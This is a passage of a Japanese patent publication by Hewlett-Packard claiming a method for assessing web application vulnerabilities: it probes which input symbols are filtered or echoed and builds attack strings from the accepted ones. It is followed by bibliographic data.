前記ウェブアプリケーションによって受け付けられている前記シンボルから成る語彙を組み立てるステップと、
前記語彙に少なくとも部分的に基づいて１つ又は２つ以上の攻撃文字列を生成するステップと、
前記ウェブアプリケーションへ前記攻撃文字列を送信するステップと、
前記攻撃文字列を送信するステップによってカバーされないあらゆる脆弱性を識別するステップと
を含む方法。
【請求項１５】
前記いずれのシンボルが前記ウェブアプリケーションによってフィルタリングされるのか及びいずれのシンボルが該ウェブアプリケーションによってエコーされるのかを判断するステップは、
第１の文字列を作成するステップであって、該第１の文字列は、１つ又は２つ以上のシンボルを含むステップと、
前記第１の文字列を前記ウェブアプリケーションへ入力として送信するステップと、
前記ウェブアプリケーションから応答を受信するステップと、
前記応答を解析するステップであって、それによって、前記ウェブアプリケーションによってエコーされたシンボル及び該ウェブアプリケーションによってフィルタリングされるシンボルを識別するステップと
をさらに含む
請求項１４に記載の方法。
【請求項１６】
次の文字列を作成するステップであって、該次の文字列は、フィルタリングされたシンボルであるとまだ判断されていない１つ又は２つ以上のシンボルを含むステップと、
前記次の文字列を前記ウェブアプリケーションへ入力として送信するステップと、
前記ウェブアプリケーションから応答を受信するステップと、
前記応答を解析するステップであって、それによって、前記ウェブアプリケーションによってエコーされたシンボル及び該ウェブアプリケーションによってフィルタリングされるシンボルを識別するステップと、
すべてのシンボルが、エコーされるもの又はフィルタリングされるものとして識別されるまで、前記生成するステップで継続するステップと
をさらに含む請求項１５に記載の方法。
【請求項１７】
前記語彙に少なくとも部分的に基づいて１つ又は２つ以上の攻撃文字列を生成するステップは、前記次の文字列を生成するステップと同じステップとすることができる
請求項１６に記載の方法。
【請求項１８】
前記語彙に少なくとも部分的に基づいて１つ又は２つ以上の攻撃文字列を生成するステップは、前記語彙が完全に組み立てられるまで行われない
請求項１６に記載の方法。
【請求項１９】
静的な攻撃文字列のデータベースが設けられ、
前記１つまたは２つ以上の攻撃文字列を生成するステップは、
前記静的な攻撃文字列から、前記語彙のシンボルで構成される攻撃文字列を選択すること
をさらに含む
請求項１４に記載の方法。
【請求項２０】
ウェブアプリケーション脆弱性評価を行うための方法であって、
利用可能なシンボルのドメインの中のシンボルのいずれがウェブアプリケーションの入力サーバによってフィルタリングされるか、及び、該シンボルのいずれが該ウェブアプリケーションの該入力サーバによって受け付けられるかを判断するステップと、
前記ウェブアプリケーションによって受け付けられている前記シンボルから成る語彙を組み立てるステップと、
前記語彙に少なくとも部分的に基づいて１つ又は２つ以上の攻撃文字列を生成するステップと、
前記攻撃文字列を使用することによって、前記ウェブアプリケーションの前記脆弱性を評価するステップと
を含む方法。
【請求項２１】
前記利用可能なシンボルのドメインは、前記ウェブアプリケーションのウェブページを生成するのに使用される前記マークアップ言語の構成体であり、
前記シンボルのいずれがウェブアプリケーションの入力サーバによってフィルタリングされるか、及び、該シンボルのいずれが該ウェブアプリケーションの該入力サーバによって受け付けられるかを判断するステップは、
前記ウェブアプリケーションへ前記シンボルの１つ又は２つ以上をプローブで送信するステップと、
前記プローブにおける前記シンボルの１つ又は２つ以上のエコーを含む応答を前記ウェブアプリケーションから受信するステップと、
前記応答を解析するステップであって、それによって、いずれのシンボルがエコーバックされたかを識別するステップと
を含む
請求項２０に記載の方法。
【請求項２２】
前記語彙に少なくとも部分的に基づいて１つ又は２つ以上の攻撃文字列を生成するステップは、
前記語彙に含まれる前記マークアップ言語の構成体を使用して攻撃文字列を組み立てること
をさらに含む
請求項２０に記載の方法。
【請求項２３】
前記利用可能なシンボルのドメインは、用いられている前記攻撃技法の前記構成体であり、
前記シンボルのいずれがウェブアプリケーションの入力サーバによってフィルタリングされるか、及び、該シンボルのいずれが該ウェブアプリケーションの該入力サーバによって受け付けられるかを判断するステップは、
前記ウェブアプリケーションへ前記シンボルの１つ又は２つ以上をプローブで送信するステップと、
前記プローブが受け付けられたのか、又は拒否されたのかを示す応答を前記ウェブアプリケーションから受信するステップと、
前記プローブにおける前記１つまたは２つ以上のシンボルを分離するアルゴリズムを適用するステップであって、それによって、さらなるプローブを送信し、それにより、前記拒否を引き起こしている前記シンボルを分離するステップと
を含む
請求項２０に記載の方法。
【図１】
【図２】
【図３】
【図４】
【図５】
【図６】
【図２】
【図３】
【図４】
【図５】
【図６】
【公開番号】特開２００８−１３５０２９（Ｐ２００８−１３５０２９Ａ）
【公開日】平成２０年６月１２日（２００８．６．１２）
【国際特許分類】
【外国語出願】
【出願番号】特願２００７−２９８７９８（Ｐ２００７−２９８７９８）
【出願日】平成１９年１１月１９日（２００７．１１．１９）
【出願人】（５０３００３８５４）ヒューレット−パッカード デベロップメント カンパニー エル．ピー． (1,145)
【Ｆターム（参考）】
【公開日】平成２０年６月１２日（２００８．６．１２）
【国際特許分類】
【出願番号】特願２００７−２９８７９８（Ｐ２００７−２９８７９８）
【出願日】平成１９年１１月１９日（２００７．１１．１９）
【出願人】（５０３００３８５４）ヒューレット−パッカード デベロップメント カンパニー エル．ピー． (1,145)
【Ｆターム（参考）】
[ Back to top ]